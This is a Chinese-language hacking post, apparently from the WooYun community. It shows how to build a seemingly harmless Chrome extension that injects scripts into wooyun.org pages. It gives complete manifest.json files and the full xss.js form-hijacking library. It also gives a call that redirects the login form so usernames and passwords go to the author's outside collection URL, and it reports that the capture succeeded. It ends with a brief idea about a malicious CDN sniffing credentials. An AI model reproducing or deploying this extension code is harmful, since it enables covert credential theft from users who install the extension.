0x00 Chrome插件

--------------------------

这个想法是昨天看到@紫梦芊 的帖子想起来的。

想法如下:

Chrome插件是可以通过manifest.json的控制,向指定页面植入contentscript.js里的脚本的。那么,能不能在一个看似正常的插件里,安放一个小功能:在所有乌云的页面里<script src=//xsser.me></script>呢?

于是,开始实践。(为了方便,只是弹了一个小框框)。

Manifest.json内容:

{

  "name": "XiaoChaJian",

  "version": "1.0",

  "manifest_version": 2,

  "author":"VIP",

  "icons": {

      "128": "icon.png"

   },

  "permissions": [

    "tabs","http://*/*","https://*/*"

  ],

  "content_scripts": [

    {"js":["contentscript.js"],"matches": ["http://wooyun.org/*","http://*.wooyun.org/*"]}

   ]

}

contentscript.js内容:

alert(/xss/);
那么,将弹框换成xsser.me,是不是就能截获想要的cookies了呢?

很遗憾,这种方法在乌云无效,因为乌云的cookies是HTTP-ONLY的。虽然插件上也能获取http-only的cookies(像Edit this cookie和cookie快速模拟一样),但是很麻烦,于是,又有一个猥琐的想法诞生了:在乌云的登录页面中,插入@Sogili的xss.js来劫持表单,是不是就能把用户名和密码发送到我们想要的地方去了呢?

开始实践:

Manifest.json内容:

{

  "name": "JieChiBiaoDan",

  "version": "1.0",

  "manifest_version": 2,

"author":"VIP",

  "icons": {

      "128": "icon.png"

},

  "permissions": [

    "tabs","http://*/*","https://*/*"

  ],

"content_scripts": [

    {"js":["contentscript.js"],"matches":

["http://wooyun.org/user.php?

action=login*","http://www.wooyun.org/user.php?action=login*"]}

]

}

contentscript.js内容:

;;var xss = function(){

  var x = {

    'name':'xss.js',

    'version':'0.2.1',

    'author':'长短短(sogili)'

  };

  x.x=function(id){return document.getElementById(id)};

  //容错取值

  x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};

  //浏览器

  x.i={

    i:!!self.ActiveXObject&&(function(){

      for(var v=6,s=document.createElement('s');

        s.innerHTML='<![if gt IE '+(v++)+']

><i></i><![endif]-->',

        s.getElementsByTagName('i')[0];);

      return v;

    }()),

    c:!!self.chrome,

    f:self.mozPaintCount>-1,

    o:!!self.opera,

    s:!self.chrome&&!!self.WebKitPoint

  };

  //UA

  x.ua = navigator.userAgent;

  //判断是否为苹果手持设备

  x.apple=/ip(one|ad|od)/i.test(x.ua);

  //随机数

  x.rdm=function(){return~~(Math.random()*1e5)};

  //url编码(UTF8)

  x.ec=encodeURIComponent;

  x.html=function(){

    return document.getElementsByTagName('html')[0]

        ||document.write('<html>')

        ||document.getElementsByTagName

('html')[0];

  };

  /*

   * 销毁一个元素

   */

  x.kill=function(e){

    e.parentElement.removeChild(e);

  };

  /*

   *绑定事件

   */

  x.bind=function(e,name,fn){

    e.addEventListener?e.addEventListener

(name,fn,false):e.attachEvent("on"+name,fn);

  };

  /*

   * dom准备完毕时执行函数

   */

  x.ready=function(fn){

    if(!x.i.i){

      x.bind(document,'DOMContentLoaded',fn);

    }else{

      var s = setInterval(function(){

        try{

          document.body.doScroll('left');

          clearInterval(s);

          fn();

        }catch(e){}

      },4);

    }

  }

  /*

   * 同源检测

   */

  x.o=function(url){

    var link = x.dom('<a href="'+encodeURI(url)+'">',1);

    return link.protocol+link.hoatname+':'+(link.port||80)

==location.protocol+location.hoatname+':'+(location.port||80);

  };

  /*

   * html to dom

   */

  x.dom=function(html,gcsec){

    var tmp = document.createElement('span');

    tmp.innerHTML=html;

    var e = tmp.children[0];

    e.style.display='none';

    x.html().appendChild(e);

    gcsec>>0>0&&setTimeout(function(){

      x.kill(e);

    },gcsec*1000);

    return e;

  };

  /*

   * ajax

   */

  x.ajax=function(url,params,callback){

    (params instanceof Function)&&

(callback=params,params=void(0));

    var XHR = (!x.o(url)&&window.XDomainRequest)||

          window.XMLHttpRequest||

          (function(){return new ActiveXObject

('MSXML2.XMLHTTP')});

    var xhr = new XHR();

    xhr.open(params?'post':'get',url);

    xhr.withCredentials = true;

    try{params&&xhr.setRequestHeader('content-

type','application/x-www-form-urlencoded');}catch(e){}

    callback&&(xhr.onreadystatechange = function() {

      (this.readyState == 4 && ((this.status >= 200

&& this.status <= 300) || this.status == 304))&&callback.apply

(this,arguments);

    });

    xhr.send(params);

  };

  /*

   * CSRF

   */

  x.csrf=function(url,params,callback){

    (params instanceof Function)&&

(callback=params,params=void(0));

    if(params){

      var form = x.dom('<form method=post>');

      form.action=url;

      for(var name in params){

        var input = document.createElement

('input');

        input.name=name;

        input.value=params[name];

        form.appendChild(input);

      }

      var iframe = x.dom('<iframe sandbox

name=_'+x.rdm()+'_>',6);

      callback&&setTimeout(function(){

        x.bind(iframe,'load',callback);

      },30);

      form.target=iframe.name;

      form.submit();

    }else{

      var img = new Image();

      callback&&(img.onerror=callback);

      img.src=url;

    }

  };

  /*

   * 表单劫持

   */

  x.xform=function(form,action){

form.old_action=form.action,form.old_target=form.target,form.action=act

ion;

    var iframe = x.dom('<iframe name=_'+x.rdm()+'_>');

    form.target=iframe.name;

    setTimeout(function(){

      x.bind(iframe,'load',function(){

form.action=form.old_action,form.target=form.old_target,form.onsubmit=n

ull,form.submit();

      });

    },30);

  };

  /*

   * 函数代理

   */

  x.proxy=function(fn,before,after){

    return function(){

      before&&before.apply(this,arguments);

      var result = fn.apply(this,arguments);

      after&&after.apply(this,arguments);

      return result;

    }

  };

  return x;

}();

xss.xform(document.forms[1],'http://vip.yupage.com/wy.php');//劫持表单

http://vip.yupage.com/wy.php是我做好的一个接收页面,代码如下:
开始测试,打开登录页,填好用户名密码验证码,点击登录,首先会像我的接收页发起POST,然后才会POST乌云。
再去看看,用户名密码已经躺在那里了。
在不知情的情况下,用户名和密码就这样被劫持走了。乌云的wb转账功能可是没有二次验证的哦。

0x01 CDN

---------------

现在有许许多多的网站使用了CDN来进行加速/防D等。

去搜索了下CDN的工作原理,大概是这样的。

用户访问-》自动分配最快的节点-》请求原服务器-------

返回给用户《-返回给节点服务器《-原服务器返回数据<-|

那么,能不能搭建一台恶意的CDN,然后嗅探所有使用了该CDN的网站的用户名密码呢?

这个就没办法实践了,去搜索了一个相关案例:

http://wooyun.org/bugs/wooyun-2010-016562

更多猥琐想法欢迎补充~